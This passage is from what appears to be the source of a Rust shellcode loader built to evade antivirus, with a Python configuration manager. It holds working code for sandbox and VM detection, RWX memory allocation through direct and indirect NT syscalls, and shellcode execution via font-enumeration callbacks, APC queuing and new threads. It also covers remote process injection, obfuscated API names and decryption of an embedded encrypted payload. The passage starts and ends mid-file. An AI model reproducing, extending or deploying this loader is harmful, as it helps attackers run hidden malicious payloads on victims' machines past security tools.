51 |
52 | let mut buffer = unsafe { std::slice::from_raw_parts_mut(ptr, plaintext_len) };
53 |
54 | match cipher.decrypt_in_place_detached(nonce_slice, &[], &mut buffer, tag) {
55 | Ok(_) => {
56 | Ok((ptr, plaintext_len))
57 | }
58 | Err(_) => {
59 | Err("Decryption failed".into())
60 | }
61 | }
62 | }
--------------------------------------------------------------------------------
/src/guard/rdtsc_timing.rs:
--------------------------------------------------------------------------------
1 | use std::thread;
2 | use std::time::Duration;
3 |
4 | #[cfg(target_arch = "x86_64")]
5 | #[inline(never)]
6 | #[allow(dead_code)]
7 | fn rdtsc() -> u64 {
8 | unsafe {
9 | let low: u32;
10 | let high: u32;
11 | core::arch::asm!(
12 | "rdtsc",
13 | out("eax") low,
14 | out("edx") high,
15 | options(nomem, nostack, preserves_flags)
16 | );
17 | ((high as u64) << 32) | (low as u64)
18 | }
19 | }
20 |
21 | #[cfg(target_arch = "x86")]
22 | #[inline(never)]
23 | #[allow(dead_code)]
24 | fn rdtsc() -> u64 {
25 | unsafe {
26 | let low: u32;
27 | let high: u32;
28 | core::arch::asm!(
29 | "rdtsc",
30 | out("eax") low,
31 | out("edx") high,
32 | options(nomem, nostack, preserves_flags)
33 | );
34 | ((high as u64) << 32) | (low as u64)
35 | }
36 | }
37 |
38 | #[cfg(not(any(target_arch = "x86_64", target_arch = "x86")))]
39 | #[inline(never)]
40 | #[allow(dead_code)]
41 | fn rdtsc() -> u64 {
42 | 0
43 | }
44 |
45 | /// Checks for time acceleration using RDTSC
46 | /// Returns true if execution appears to be accelerated (sandbox behavior)
47 | ///
48 | /// # Parameters
49 | /// * `sleep_ms` - Sleep duration in milliseconds
50 | /// * `threshold_ratio` - Threshold ratio (0.0-1.0), e.g., 0.8 means 80% of expected cycles
51 | #[allow(dead_code)]
52 | pub fn check_rdtsc_sandboxed(sleep_ms: u64, threshold_ratio: f64) -> bool {
53 | let tsc1 = rdtsc();
54 | thread::sleep(Duration::from_millis(sleep_ms));
55 | let tsc2 = rdtsc();
56 | let tsc_delta = tsc2.saturating_sub(tsc1);
57 | let expected_cycles_per_ms = 3_000_000u64;
58 | let expected_delta = sleep_ms * expected_cycles_per_ms;
59 |
60 | //print!("RDTSC delta: {}, expected delta: {}\n", tsc_delta, expected_delta);
61 |
62 | // Convert to float for percentage calculation
63 | let tsc_delta_f = tsc_delta as f64;
64 | let expected_delta_f = expected_delta as f64;
65 |
66 | // If actual cycles < threshold_ratio of expected, time has been accelerated (sandbox)
67 | let threshold = expected_delta_f * threshold_ratio;
68 | //print!("RDTSC threshold ({}%): {}\n", threshold_ratio * 100.0, threshold);
69 |
70 | tsc_delta_f < threshold
71 | }
72 |
--------------------------------------------------------------------------------
/gui/config_manager.py:
--------------------------------------------------------------------------------
1 | import os
2 | import json
3 |
4 |
5 | def load_plugins_manifest():
6 | path = os.path.join('config', 'plugins.json')
7 | with open(path, 'r', encoding='utf-8') as f:
8 | data = json.load(f)
9 |
10 | enc = data.get('encryption') or []
11 | runm = data.get('run_modes') or []
12 | vmc = data.get('vm_checks') or []
13 | alloc_mem_modes = data.get('alloc_mem_modes') or []
14 | load_payload_modes = data.get('load_payload_modes') or []
15 | encodings = data.get('encodings') or []
16 | defaults = data.get('defaults') or {}
17 |
18 | if not enc or not runm:
19 | raise ValueError('plugins.json 缺少必要字段(encryption/run_modes)')
20 |
21 | return {
22 | 'encryption': enc,
23 | 'run_modes': runm,
24 | 'vm_checks': vmc,
25 | 'alloc_mem_modes': alloc_mem_modes,
26 | 'load_payload_modes': load_payload_modes,
27 | 'encodings': encodings,
28 | 'defaults': defaults,
29 | }
30 |
31 |
32 | def get_encryption_map():
33 | manifest = load_plugins_manifest()
34 | return {e['id']: e.get('encrypt_arg', e['id']) for e in manifest['encryption']}
35 |
36 |
37 | def get_vm_checks_map():
38 | manifest = load_plugins_manifest()
39 | return {v['id']: v['feature'] for v in manifest['vm_checks']}
40 |
41 |
42 | def get_encryption_feature_map():
43 | manifest = load_plugins_manifest()
44 | return {e['id']: e['feature'] for e in manifest['encryption']}
45 |
46 |
47 | def get_run_mode_map():
48 | manifest = load_plugins_manifest()
49 | return {r['id']: r['feature'] for r in manifest['run_modes']}
50 |
51 |
52 | def get_alloc_mem_feature_map():
53 | manifest = load_plugins_manifest()
54 | return {m['id']: m['feature'] for m in manifest.get('alloc_mem_modes', [])}
55 |
56 |
57 | def get_encodings():
58 | manifest = load_plugins_manifest()
59 | return manifest.get('encodings', [])
60 |
61 |
62 | def get_encoding_feature_map():
63 | manifest = load_plugins_manifest()
64 | return {e['id']: e['feature'] for e in manifest.get('encodings', [])}
65 |
66 |
67 | def get_load_payload_feature_map():
68 | manifest = load_plugins_manifest()
69 | return {m['id']: m['feature'] for m in manifest.get('load_payload_modes', [])}
70 |
71 |
72 | def get_default_value(key):
73 | manifest = load_plugins_manifest()
74 | return manifest['defaults'].get(key)
75 |
--------------------------------------------------------------------------------
/src/thunk.rs:
--------------------------------------------------------------------------------
1 | const _VC_LTL_VERSION: &'static str = "5.2.2";
2 | const _YY_THUNKS_VERSION: &'static str = "1.1.7";
3 |
4 | use std::{path::PathBuf};
5 |
6 | pub fn thunk() {
7 | let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap();
8 | let target_env = env::var("CARGO_CFG_TARGET_ENV").unwrap();
9 |
10 | if target_os != "windows" || target_env != "msvc" {
11 | println!("cargo:note=Skipped! Only Windows(MSVC) is supported!");
12 | return;
13 | }
14 |
15 | let target_arch = env::var("CARGO_CFG_TARGET_ARCH").unwrap();
16 |
17 | let vc_ltl_arch = if target_arch == "x86" { "Win32" } else { "x64" };
18 | let vc_ltl_platform = "6.0.6000.0"; // Hardcoded for win7
19 |
20 | let vc_ltl_path = if let Ok(vc_ltl_env) = env::var("VC_LTL") {
21 | PathBuf::from(vc_ltl_env).join(&format!(
22 | "TargetPlatform/{}/lib/{}",
23 | vc_ltl_platform, vc_ltl_arch
24 | ))
25 | } else {
26 | println!("cargo:note=VC_LTL environment variable not set, skipping VC-LTL5");
27 | return;
28 | };
29 |
30 | println!("cargo::rustc-link-search={}", vc_ltl_path.to_string_lossy());
31 | println!(
32 | "cargo:note=VC-LTL5 Enabled: {}({})",
33 | vc_ltl_platform, vc_ltl_arch
34 | );
35 |
36 | let yy_thunks_arch = if target_arch == "x86" { "x86" } else { "x64" };
37 | let yy_thunks_platform = "Win7"; // Hardcoded for win7
38 |
39 | let yy_thunks = if let Ok(yy_thunks_env) = env::var("YY_THUNKS") {
40 | PathBuf::from(yy_thunks_env).join(format!(
41 | "objs/{}/YY_Thunks_for_{}.obj",
42 | yy_thunks_arch, yy_thunks_platform
43 | ))
44 | } else {
45 | println!("cargo:note=YY_THUNKS environment variable not set, skipping YY-Thunks");
46 | return;
47 | };
48 |
49 | println!("cargo::rustc-link-arg={}", yy_thunks.to_string_lossy());
50 | println!(
51 | "cargo:note=YY-Thunks Enabled: {}({})",
52 | yy_thunks_platform, yy_thunks_arch
53 | );
54 |
55 | if env::var("CARGO_FEATURE_DEBUG").is_err() && env::var("PROFILE").unwrap() != "debug" { // subsystem_windows hardcoded
56 | println!("cargo::rustc-link-arg=/SUBSYSTEM:WINDOWS");
57 | println!("cargo::rustc-link-arg=/ENTRY:mainCRTStartup");
58 | println!("cargo:note=Subsystem is set to WINDOWS");
59 | } else {
60 | println!("cargo::rustc-link-arg=/SUBSYSTEM:CONSOLE");
61 | }
62 | }
--------------------------------------------------------------------------------
/src/exec/gdi_families.rs:
--------------------------------------------------------------------------------
1 | pub unsafe fn exec(p: usize) -> Result<(), String> {
2 | use crate::utils::{load_library, get_proc_address};
3 | use obfstr::{obfbytes, obfstr};
4 | use std::mem::transmute;
5 |
6 | #[repr(C)]
7 | #[derive(Default, Copy, Clone)]
8 | struct LogFontA {
9 | lf_height: i32,
10 | lf_width: i32,
11 | lf_escapement: i32,
12 | lf_orientation: i32,
13 | lf_weight: i32,
14 | lf_italic: u8,
15 | lf_underline: u8,
16 | lf_strike_out: u8,
17 | lf_char_set: u8,
18 | lf_out_precision: u8,
19 | lf_clip_precision: u8,
20 | lf_quality: u8,
21 | lf_pitch_and_family: u8,
22 | lf_face_name: [u8; 32],
23 | }
24 |
25 | let gdi32 = load_library(obfbytes!(b"gdi32.dll\0").as_slice())?;
26 | let user32 = load_library(obfbytes!(b"user32.dll\0").as_slice())?;
27 |
28 | let p_enum_font = get_proc_address(gdi32, obfbytes!(b"EnumFontFamiliesExA\0").as_slice())?;
29 | let p_get_dc = get_proc_address(user32, obfbytes!(b"GetDC\0").as_slice())?;
30 | let p_release_dc = get_proc_address(user32, obfbytes!(b"ReleaseDC\0").as_slice())?;
31 |
32 | type EnumFontFamiliesExAFn = unsafe extern "system" fn(
33 | hdc: isize,
34 | lp_logfont: *const LogFontA,
35 | lp_enum_font_fam_ex_proc: Option i32>,
36 | l_param: isize,
37 | dw_flags: u32,
38 | ) -> i32;
39 | type GetDCFn = unsafe extern "system" fn(hwnd: isize) -> isize;
40 | type ReleaseDCFn = unsafe extern "system" fn(hwnd: isize, hdc: isize) -> i32;
41 |
42 | let enum_font_families_ex_a: EnumFontFamiliesExAFn = transmute(p_enum_font);
43 | let get_dc: GetDCFn = transmute(p_get_dc);
44 | let release_dc: ReleaseDCFn = transmute(p_release_dc);
45 |
46 | let logfont: LogFontA = std::mem::zeroed();
47 | type FontEnumProc = Option i32>;
48 | let cb: FontEnumProc = Some(std::mem::transmute(p));
49 | let hdc = get_dc(0);
50 | if hdc == 0 {
51 | return Err(obfstr!("GetDC failed").to_string());
52 | }
53 | let ret = enum_font_families_ex_a(hdc, &logfont, cb, 0, 0);
54 | release_dc(0, hdc);
55 | if ret == 0 {
56 | return Err(obfstr!("EnumFontFamiliesExA failed or callback not triggered").to_string());
57 | }
58 | Ok(())
59 | }
--------------------------------------------------------------------------------
/src/alloc_mem/section.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | #[allow(dead_code)]
3 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 | use obfstr::{obfstr, obfbytes};
5 | use core::ffi::c_void;
6 |
7 | type NtCreateSectionFn = unsafe extern "system" fn(
8 | section_handle: *mut *mut c_void,
9 | desired_access: u32,
10 | object_attributes: *mut c_void,
11 | maximum_size: *mut u64,
12 | section_page_protection: u32,
13 | allocation_attributes: u32,
14 | file_handle: *mut c_void
15 | ) -> i32;
16 |
17 | type NtMapViewOfSectionFn = unsafe extern "system" fn(
18 | section_handle: *mut c_void,
19 | process_handle: *mut c_void,
20 | base_address: *mut *mut c_void,
21 | zero_bits: usize,
22 | commit_size: usize,
23 | section_offset: *mut u64,
24 | view_size: *mut usize,
25 | inherit_disposition: u32,
26 | allocation_type: u32,
27 | win32_protect: u32
28 | ) -> i32;
29 |
30 | let ntdll = load_library(obfbytes!(b"ntdll.dll\0").as_slice())?;
31 | let nt_create_section: NtCreateSectionFn = core::mem::transmute(get_proc_address(ntdll, obfbytes!(b"NtCreateSection\0").as_slice())?);
32 | let nt_map_view_of_section: NtMapViewOfSectionFn = core::mem::transmute(get_proc_address(ntdll, obfbytes!(b"NtMapViewOfSection\0").as_slice())?);
33 |
34 | let mut section_handle: *mut c_void = core::ptr::null_mut();
35 | let mut max_size = size as u64;
36 |
37 | // SECTION_ALL_ACCESS = 0xF001F, PAGE_EXECUTE_READWRITE = 0x40, SEC_COMMIT = 0x08000000
38 | let status = nt_create_section(
39 | &mut section_handle,
40 | 0xF001F,
41 | core::ptr::null_mut(),
42 | &mut max_size,
43 | 0x40,
44 | 0x08000000,
45 | core::ptr::null_mut()
46 | );
47 |
48 | if status != 0 {
49 | return Err(obfstr!("NtCreateSection failed").to_string());
50 | }
51 |
52 | let mut base_addr: *mut c_void = core::ptr::null_mut();
53 | let mut view_size = size;
54 |
55 | // -1 is GetCurrentProcess()
56 | let status = nt_map_view_of_section(
57 | section_handle,
58 | -1isize as *mut c_void,
59 | &mut base_addr,
60 | 0,
61 | size,
62 | core::ptr::null_mut(),
63 | &mut view_size,
64 | 2, // ViewUnmap
65 | 0,
66 | 0x40 // PAGE_EXECUTE_READWRITE
67 | );
68 |
69 | if status != 0 {
70 | return Err(obfstr!("NtMapViewOfSection failed").to_string());
71 | }
72 |
73 | Ok(base_addr as *mut u8)
74 | }
--------------------------------------------------------------------------------
/src/alloc_mem/section_veh_syscall.rs:
--------------------------------------------------------------------------------
1 | use rust_veh_syscalls::syscall;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtCreateSection = unsafe extern "system" fn(
8 | SectionHandle: *mut HANDLE,
9 | DesiredAccess: u32,
10 | ObjectAttributes: *mut c_void,
11 | MaximumSize: *mut i64,
12 | SectionPageProtection: u32,
13 | AllocationAttributes: u32,
14 | FileHandle: HANDLE,
15 | ) -> i32;
16 |
17 | #[allow(non_snake_case)]
18 | type NtMapViewOfSection = unsafe extern "system" fn(
19 | SectionHandle: HANDLE,
20 | ProcessHandle: HANDLE,
21 | BaseAddress: *mut *mut c_void,
22 | ZeroBits: usize,
23 | CommitSize: usize,
24 | SectionOffset: *mut i64,
25 | ViewSize: *mut usize,
26 | InheritDisposition: u32,
27 | AllocationType: u32,
28 | Win32Protect: u32,
29 | ) -> i32;
30 |
31 | #[allow(dead_code)]
32 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
33 | // Constants
34 | const SECTION_ALL_ACCESS: u32 = 0xF001F;
35 | const PAGE_EXECUTE_READWRITE: u32 = 0x40;
36 | const SEC_COMMIT: u32 = 0x0800_0000;
37 | // ViewUnmap = 2
38 | const VIEW_UNMAP: u32 = 2;
39 |
40 | // NtCreateSection via VEH syscall
41 | let mut section_handle = HANDLE(0);
42 | let mut max_size: i64 = size as i64;
43 |
44 | let create_status = syscall!(
45 | "NtCreateSection",
46 | NtCreateSection,
47 | &mut section_handle as *mut HANDLE,
48 | SECTION_ALL_ACCESS,
49 | ptr::null_mut(),
50 | &mut max_size as *mut i64,
51 | PAGE_EXECUTE_READWRITE,
52 | SEC_COMMIT,
53 | HANDLE(0)
54 | );
55 |
56 | if create_status != 0 {
57 | return Err(format!("NtCreateSection failed: 0x{:x}", create_status));
58 | }
59 |
60 | // NtMapViewOfSection via VEH syscall
61 | let mut base_addr: *mut c_void = ptr::null_mut();
62 | let mut view_size: usize = size;
63 |
64 | let map_status = syscall!(
65 | "NtMapViewOfSection",
66 | NtMapViewOfSection,
67 | section_handle,
68 | HANDLE(-1isize as isize), // Current process pseudo-handle
69 | &mut base_addr as *mut *mut c_void,
70 | 0,
71 | size,
72 | ptr::null_mut(),
73 | &mut view_size as *mut usize,
74 | VIEW_UNMAP,
75 | 0,
76 | PAGE_EXECUTE_READWRITE
77 | );
78 |
79 | if map_status == 0 && !base_addr.is_null() {
80 | Ok(base_addr as *mut u8)
81 | } else {
82 | Err(format!("NtMapViewOfSection failed: 0x{:x}", map_status))
83 | }
84 | }
85 |
--------------------------------------------------------------------------------
/src/exec/apc_syscall.rs:
--------------------------------------------------------------------------------
1 | use dinvoke_rs::dinvoke;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtQueueApcThread = unsafe extern "system" fn(
8 | ThreadHandle: HANDLE,
9 | ApcRoutine: Option,
10 | ApcArgument1: *mut c_void,
11 | ApcArgument2: *mut c_void,
12 | ApcArgument3: *mut c_void,
13 | ) -> i32;
14 |
15 | #[allow(non_snake_case)]
16 | type NtDelayExecution = unsafe extern "system" fn(
17 | Alertable: u8,
18 | DelayInterval: *mut i64,
19 | ) -> i32;
20 |
21 | #[allow(non_snake_case)]
22 | type NtTestAlert = unsafe extern "system" fn() -> i32;
23 |
24 | pub unsafe fn exec(p: usize) -> Result<(), String> {
25 | // Use the current thread pseudo-handle (-2).
26 | const CURRENT_THREAD: HANDLE = HANDLE(-2isize as isize);
27 |
28 | // Queue APC
29 | let queue_type: NtQueueApcThread;
30 | #[allow(unused_assignments)]
31 | let mut queue_status: Option = None;
32 |
33 | dinvoke::execute_syscall!(
34 | "NtQueueApcThread",
35 | queue_type,
36 | queue_status,
37 | CURRENT_THREAD,
38 | Some(core::mem::transmute::(p)),
39 | ptr::null_mut(),
40 | ptr::null_mut(),
41 | ptr::null_mut(),
42 | );
43 |
44 | if queue_status != Some(0) {
45 | return Err(match queue_status {
46 | Some(code) => format!("NtQueueApcThread failed: 0x{:x}", code),
47 | None => "NtQueueApcThread syscall execution failed".to_string(),
48 | });
49 | }
50 |
51 | // Alertable wait to deliver APC
52 | let delay_type: NtDelayExecution;
53 | #[allow(unused_assignments)]
54 | let mut delay_status: Option = None;
55 | // Relative interval: -1_000_000 * 10ns = -10ms (alertable sleep)
56 | let mut interval: i64 = -10_000_000;
57 |
58 | dinvoke::execute_syscall!(
59 | "NtDelayExecution",
60 | delay_type,
61 | delay_status,
62 | 1u8, // Alertable = TRUE
63 | &mut interval as *mut i64,
64 | );
65 |
66 | if delay_status == Some(0) {
67 | // Ensure pending APCs are delivered
68 | let test_alert_type: NtTestAlert;
69 | let mut _test_status: Option = None;
70 | dinvoke::execute_syscall!(
71 | "NtTestAlert",
72 | test_alert_type,
73 | _test_status,
74 | );
75 | Ok(())
76 | } else {
77 | Err(match delay_status {
78 | Some(code) => format!("NtDelayExecution failed: 0x{:x}", code),
79 | None => "NtDelayExecution syscall execution failed".to_string(),
80 | })
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/src/guard/cpu_info.rs:
--------------------------------------------------------------------------------
1 | use obfstr::obfstr;
2 | use std::rc::Rc;
3 |
4 | #[allow(dead_code)]
5 | fn get_wmi_connection() -> Option {
6 | use wmi::{WMIConnection, COMLibrary};
7 |
8 | let com_con = COMLibrary::new().ok()?;
9 | WMIConnection::with_namespace_path(&obfstr!("root\\cimv2"), Rc::new(com_con)).ok()
10 | }
11 |
12 | #[allow(dead_code)]
13 | pub fn check_cpu_model() -> bool {
14 | use wmi::Variant;
15 |
16 | let wmi_con = match get_wmi_connection() {
17 | Some(con) => con,
18 | None => return false,
19 | };
20 |
21 | let results: Vec> = match wmi_con.raw_query(obfstr!("SELECT Name FROM Win32_Processor")) {
22 | Ok(res) => res,
23 | Err(_) => return false,
24 | };
25 |
26 | if let Some(proc) = results.get(0) {
27 | if let Some(Variant::String(name)) = proc.get("Name") {
28 | let name_lower = name.to_lowercase();
29 | if name_lower.contains(&obfstr!("qemu")) || name_lower.contains(&obfstr!("virtualbox")) || name_lower.contains(&obfstr!("vmware")) || name_lower.contains(&obfstr!("xen")) {
30 | return true; // Detected VM
31 | }
32 | }
33 | }
34 |
35 | false
36 | }
37 |
38 | #[allow(dead_code)]
39 | pub fn check_cpu_cores(min_cores: u32) -> bool {
40 | use wmi::Variant;
41 |
42 | let wmi_con = match get_wmi_connection() {
43 | Some(con) => con,
44 | None => return false,
45 | };
46 |
47 | let results: Vec> = match wmi_con.raw_query(obfstr!("SELECT NumberOfCores FROM Win32_Processor")) {
48 | Ok(res) => res,
49 | Err(_) => return false,
50 | };
51 |
52 | if let Some(proc) = results.get(0) {
53 | if let Some(Variant::UI4(cores)) = proc.get("NumberOfCores") {
54 | if *cores < min_cores {
55 | return true; // Low cores, likely VM
56 | }
57 | }
58 | }
59 |
60 | false
61 | }
62 |
63 | #[allow(dead_code)]
64 | pub fn check_cpu_vendor() -> bool {
65 | use wmi::Variant;
66 |
67 | let wmi_con = match get_wmi_connection() {
68 | Some(con) => con,
69 | None => return false,
70 | };
71 |
72 | let results: Vec> = match wmi_con.raw_query(obfstr!("SELECT Manufacturer FROM Win32_Processor")) {
73 | Ok(res) => res,
74 | Err(_) => return false,
75 | };
76 |
77 | if let Some(proc) = results.get(0) {
78 | if let Some(Variant::String(manufacturer)) = proc.get("Manufacturer") {
79 | let man_lower = manufacturer.to_lowercase();
80 | if man_lower.contains(&obfstr!("vboxvboxvbox")) || man_lower.contains(&obfstr!("vmware")) || man_lower.contains(&obfstr!("qemu")) {
81 | return true; // Detected VM vendor
82 | }
83 | }
84 | }
85 |
86 | false
87 | }
--------------------------------------------------------------------------------
/src/exec/create_thread_syscall.rs:
--------------------------------------------------------------------------------
1 | use dinvoke_rs::dinvoke;
2 | use std::ffi::c_void;
3 | use std::ptr;
4 | use windows::Win32::Foundation::HANDLE;
5 |
6 | #[allow(non_snake_case)]
7 | type NtCreateThreadEx = unsafe extern "system" fn(
8 | ThreadHandle: *mut HANDLE,
9 | DesiredAccess: u32,
10 | ObjectAttributes: *mut c_void,
11 | ProcessHandle: HANDLE,
12 | StartAddress: *mut c_void,
13 | Parameter: *mut c_void,
14 | CreateFlags: u32,
15 | ZeroBits: usize,
16 | StackSize: usize,
17 | MaximumStackSize: usize,
18 | AttributeList: *mut c_void,
19 | ) -> i32;
20 |
21 | #[allow(non_snake_case)]
22 | type NtWaitForSingleObject = unsafe extern "system" fn(
23 | Handle: HANDLE,
24 | Alertable: u8,
25 | Timeout: *mut i64,
26 | ) -> i32;
27 |
28 | pub unsafe fn exec(p: usize) -> Result<(), String> {
29 | const THREAD_ALL_ACCESS: u32 = 0x001F_0FFF;
30 |
31 | // Indirect syscall via DInvoke: dynamically build and run the syscall stub.
32 | let function_type: NtCreateThreadEx;
33 | #[allow(unused_assignments)]
34 | let mut status: Option = None;
35 | let mut thread_handle = HANDLE(0);
36 |
37 | dinvoke::execute_syscall!(
38 | "NtCreateThreadEx",
39 | function_type,
40 | status,
41 | &mut thread_handle as *mut HANDLE, // ThreadHandle
42 | THREAD_ALL_ACCESS, // DesiredAccess
43 | ptr::null_mut(), // ObjectAttributes
44 | HANDLE(-1isize as isize), // ProcessHandle (GetCurrentProcess)
45 | p as *mut c_void, // StartAddress
46 | ptr::null_mut(), // Parameter
47 | 0, // CreateFlags
48 | 0, // ZeroBits
49 | 0, // StackSize
50 | 0, // MaximumStackSize
51 | ptr::null_mut(), // AttributeList
52 | );
53 |
54 | if status == Some(0) {
55 | // Wait via indirect syscall NtWaitForSingleObject (Alertable = FALSE, Timeout = NULL => INFINITE)
56 | let wait_function_type: NtWaitForSingleObject;
57 | #[allow(unused_assignments)]
58 | let mut wait_status: Option = None;
59 |
60 | dinvoke::execute_syscall!(
61 | "NtWaitForSingleObject",
62 | wait_function_type,
63 | wait_status,
64 | thread_handle,
65 | 0u8, // Alertable = FALSE
66 | ptr::null_mut(), // Timeout = NULL => infinite
67 | );
68 |
69 | if wait_status == Some(0) {
70 | Ok(())
71 | } else {
72 | Err(match wait_status {
73 | Some(code) => format!("NtWaitForSingleObject failed with status: 0x{:x}", code),
74 | None => "NtWaitForSingleObject syscall execution failed".to_string(),
75 | })
76 | }
77 | } else {
78 | Err(match status {
79 | Some(code) => format!("NtCreateThreadEx failed with status: 0x{:x}", code),
80 | None => "NtCreateThreadEx syscall execution failed".to_string(),
81 | })
82 | }
83 | }
84 |
--------------------------------------------------------------------------------
/src/exec/create_remote_thread.rs:
--------------------------------------------------------------------------------
1 | pub unsafe fn exec(p: usize, size: usize, pid: usize) -> Result<(), String> {
2 | use std::ffi::c_void;
3 | use crate::utils::{load_library, get_proc_address};
4 | use obfstr::{obfbytes, obfstr};
5 | use std::ptr::null_mut;
6 | use std::mem::transmute;
7 |
8 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?;
9 |
10 | let p_open_process = get_proc_address(kernel32, obfbytes!(b"OpenProcess\0").as_slice())?;
11 | type OpenProcessFn = unsafe extern "system" fn(u32, i32, u32) -> *mut c_void;
12 | let open_process: OpenProcessFn = transmute(p_open_process);
13 |
14 | let p_virtual_alloc_ex = get_proc_address(kernel32, obfbytes!(b"VirtualAllocEx\0").as_slice())?;
15 | type VirtualAllocExFn = unsafe extern "system" fn(*mut c_void, *mut c_void, usize, u32, u32) -> *mut c_void;
16 | let virtual_alloc_ex: VirtualAllocExFn = transmute(p_virtual_alloc_ex);
17 |
18 | let p_write_process_memory = get_proc_address(kernel32, obfbytes!(b"WriteProcessMemory\0").as_slice())?;
19 | type WriteProcessMemoryFn = unsafe extern "system" fn(*mut c_void, *mut c_void, *const c_void, usize, *mut usize) -> i32;
20 | let write_process_memory: WriteProcessMemoryFn = transmute(p_write_process_memory);
21 |
22 | let p_create_remote_thread = get_proc_address(kernel32, obfbytes!(b"CreateRemoteThread\0").as_slice())?;
23 | type CreateRemoteThreadFn = unsafe extern "system" fn(*mut c_void, *mut c_void, usize, Option u32>, *mut c_void, u32, *mut u32) -> *mut c_void;
24 | let create_remote_thread: CreateRemoteThreadFn = transmute(p_create_remote_thread);
25 |
26 | let p_close_handle = get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice())?;
27 | type CloseHandleFn = unsafe extern "system" fn(*mut c_void) -> i32;
28 | let close_handle: CloseHandleFn = transmute(p_close_handle);
29 |
30 | const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF;
31 | const MEM_COMMIT: u32 = 0x1000;
32 | const MEM_RESERVE: u32 = 0x2000;
33 | const PAGE_EXECUTE_READWRITE: u32 = 0x40;
34 |
35 | let h_process = open_process(PROCESS_ALL_ACCESS, 0, pid as u32);
36 | if h_process.is_null() {
37 | return Err(obfstr!("OpenProcess failed").to_string());
38 | }
39 |
40 | let remote_addr = virtual_alloc_ex(h_process, null_mut(), size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
41 | if remote_addr.is_null() {
42 | close_handle(h_process);
43 | return Err(obfstr!("VirtualAllocEx failed").to_string());
44 | }
45 |
46 | let mut bytes_written = 0;
47 | let res = write_process_memory(h_process, remote_addr, p as *const c_void, size, &mut bytes_written);
48 | if res == 0 {
49 | close_handle(h_process);
50 | return Err(obfstr!("WriteProcessMemory failed").to_string());
51 | }
52 |
53 | let h_thread = create_remote_thread(h_process, null_mut(), 0, Some(transmute(remote_addr)), null_mut(), 0, null_mut());
54 | if h_thread.is_null() {
55 | close_handle(h_process);
56 | return Err(obfstr!("CreateRemoteThread failed").to_string());
57 | }
58 |
59 | close_handle(h_thread);
60 | close_handle(h_process);
61 |
62 | Ok(())
63 | }
--------------------------------------------------------------------------------
/src/alloc_mem/section_syscall.rs:
--------------------------------------------------------------------------------
1 | use dinvoke_rs::dinvoke;
2 | use core::ffi::c_void;
3 | use core::ptr;
4 |
5 | #[allow(non_snake_case)]
6 | type NtCreateSection = unsafe extern "system" fn(
7 | SectionHandle: *mut *mut c_void,
8 | DesiredAccess: u32,
9 | ObjectAttributes: *mut c_void,
10 | MaximumSize: *mut i64,
11 | SectionPageProtection: u32,
12 | AllocationAttributes: u32,
13 | FileHandle: *mut c_void,
14 | ) -> i32;
15 |
16 | #[allow(non_snake_case)]
17 | type NtMapViewOfSection = unsafe extern "system" fn(
18 | SectionHandle: *mut c_void,
19 | ProcessHandle: *mut c_void,
20 | BaseAddress: *mut *mut c_void,
21 | ZeroBits: usize,
22 | CommitSize: usize,
23 | SectionOffset: *mut i64,
24 | ViewSize: *mut usize,
25 | InheritDisposition: u32,
26 | AllocationType: u32,
27 | Win32Protect: u32,
28 | ) -> i32;
29 |
30 | #[allow(dead_code)]
31 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
32 | // Constants
33 | const SECTION_ALL_ACCESS: u32 = 0xF001F;
34 | const PAGE_EXECUTE_READWRITE: u32 = 0x40;
35 | const SEC_COMMIT: u32 = 0x0800_0000;
36 | // ViewUnmap = 2
37 | const VIEW_UNMAP: u32 = 2;
38 |
39 | // NtCreateSection via indirect syscall
40 | let create_type: NtCreateSection;
41 | #[allow(unused_assignments)]
42 | let mut create_status: Option = None;
43 | let mut section_handle: *mut c_void = ptr::null_mut();
44 | let mut max_size: i64 = size as i64;
45 |
46 | dinvoke::execute_syscall!(
47 | "NtCreateSection",
48 | create_type,
49 | create_status,
50 | &mut section_handle as *mut *mut c_void,
51 | SECTION_ALL_ACCESS,
52 | ptr::null_mut(),
53 | &mut max_size as *mut i64,
54 | PAGE_EXECUTE_READWRITE,
55 | SEC_COMMIT,
56 | ptr::null_mut(),
57 | );
58 |
59 | if create_status != Some(0) || section_handle.is_null() {
60 | return Err(match create_status {
61 | Some(code) => format!("NtCreateSection failed: 0x{:x}", code),
62 | None => "NtCreateSection syscall execution failed".to_string(),
63 | });
64 | }
65 |
66 | // NtMapViewOfSection via indirect syscall
67 | let map_type: NtMapViewOfSection;
68 | #[allow(unused_assignments)]
69 | let mut map_status: Option = None;
70 | let mut base_addr: *mut c_void = ptr::null_mut();
71 | let mut view_size: usize = size;
72 |
73 | dinvoke::execute_syscall!(
74 | "NtMapViewOfSection",
75 | map_type,
76 | map_status,
77 | section_handle,
78 | (-1isize) as *mut c_void, // Current process pseudo-handle
79 | &mut base_addr as *mut *mut c_void,
80 | 0,
81 | size,
82 | ptr::null_mut(),
83 | &mut view_size as *mut usize,
84 | VIEW_UNMAP,
85 | 0,
86 | PAGE_EXECUTE_READWRITE,
87 | );
88 |
89 | if map_status == Some(0) && !base_addr.is_null() {
90 | Ok(base_addr as *mut u8)
91 | } else {
92 | Err(match map_status {
93 | Some(code) => format!("NtMapViewOfSection failed: 0x{:x}", code),
94 | None => "NtMapViewOfSection syscall execution failed".to_string(),
95 | })
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/src/load_payload/read_file_v2.rs:
--------------------------------------------------------------------------------
1 | use crate::utils::{load_library, get_proc_address};
2 | use obfstr::obfbytes;
3 | use std::ptr;
4 |
5 | pub fn load_payload() -> Result, String> {
6 | const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin");
7 |
8 | unsafe {
